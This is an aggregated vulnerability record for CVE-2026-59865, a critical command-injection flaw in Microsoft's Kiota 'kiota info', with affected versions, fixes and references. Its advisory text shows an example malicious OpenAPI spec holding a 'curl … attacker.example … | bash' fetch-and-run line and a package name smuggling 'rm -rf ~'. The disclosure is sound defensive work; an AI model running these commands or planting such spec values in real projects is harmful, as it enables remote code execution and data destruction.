{"id":"CVE-2026-59865","aliases":["CVE-2026-59865","GHSA-hq9q-27g5-qwpj"],"related":[],"kind":"vulnerability","state":"published","title":"Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","summary":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d <attacker-spec> -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Kiota es un generador de código de cliente HTTP basado en OpenAPI. Antes de la versión 1.32.5, ’kiota info’ leía x-ms-kiota-info.languagesInformation.[language].dependencyInstallCommand más los valores de nombre y versión de la dependencia de una descripción OpenAPI y presentaba el comando proporcionado por la especificación como el comando de instalación recomendado de Kiota, permitiendo que una descripción controlada por un atacante o comprometida causara inyección de comandos cuando el comando sugerido se ejecutaba manualmente o a través del flujo de instalación de dependencias ’kiota info --json’ de la extensión de Kiota para VS Code. Este problema está solucionado en la versión 1.32.5.","source":"nvd"}],"published":"2026-07-16T14:43:40.058Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-94","CWE-829"],"affected":[{"ranges":[{"version":">= 1.30.0, < 1.31.1","status":"affected"},{"version":"< 1.29.1","status":"affected"}],"vendor":"microsoft","product":"kiota","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.30.0","status":"affected","fixed":"1.32.5"}],"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","purl":"pkg:nuget/Microsoft.OpenApi.Kiota","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"1.30.0","status":"affected","fixed":"1.32.5"}],"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","purl":"pkg:nuget/Microsoft.OpenApi.Kiota.Builder","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.29.1"}],"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","purl":"pkg:nuget/Microsoft.OpenApi.Kiota","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.29.1"}],"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","purl":"pkg:nuget/Microsoft.OpenApi.Kiota.Builder","source":"ghsa"}],"references":[{"url":"https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/microsoft/kiota/pull/7883","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/microsoft/kiota/releases/tag/v1.32.5","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59865","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/microsoft/kiota","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-07-17T03:56:38.534Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59865","url":"https://www.cve.org/CVERecord?id=CVE-2026-59865","licence":"CVE Terms of Use","modified":"2026-08-17T15:03:03.236Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hq9q-27g5-qwpj","url":"https://github.com/advisories/GHSA-hq9q-27g5-qwpj","licence":"CC-BY-4.0","modified":"2026-08-17T15:00:08.128Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59865","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:28.394Z","epss":{"score":0.04359,"percentile":0.92034,"date":"2026-11-30T12:00:22.000Z"}}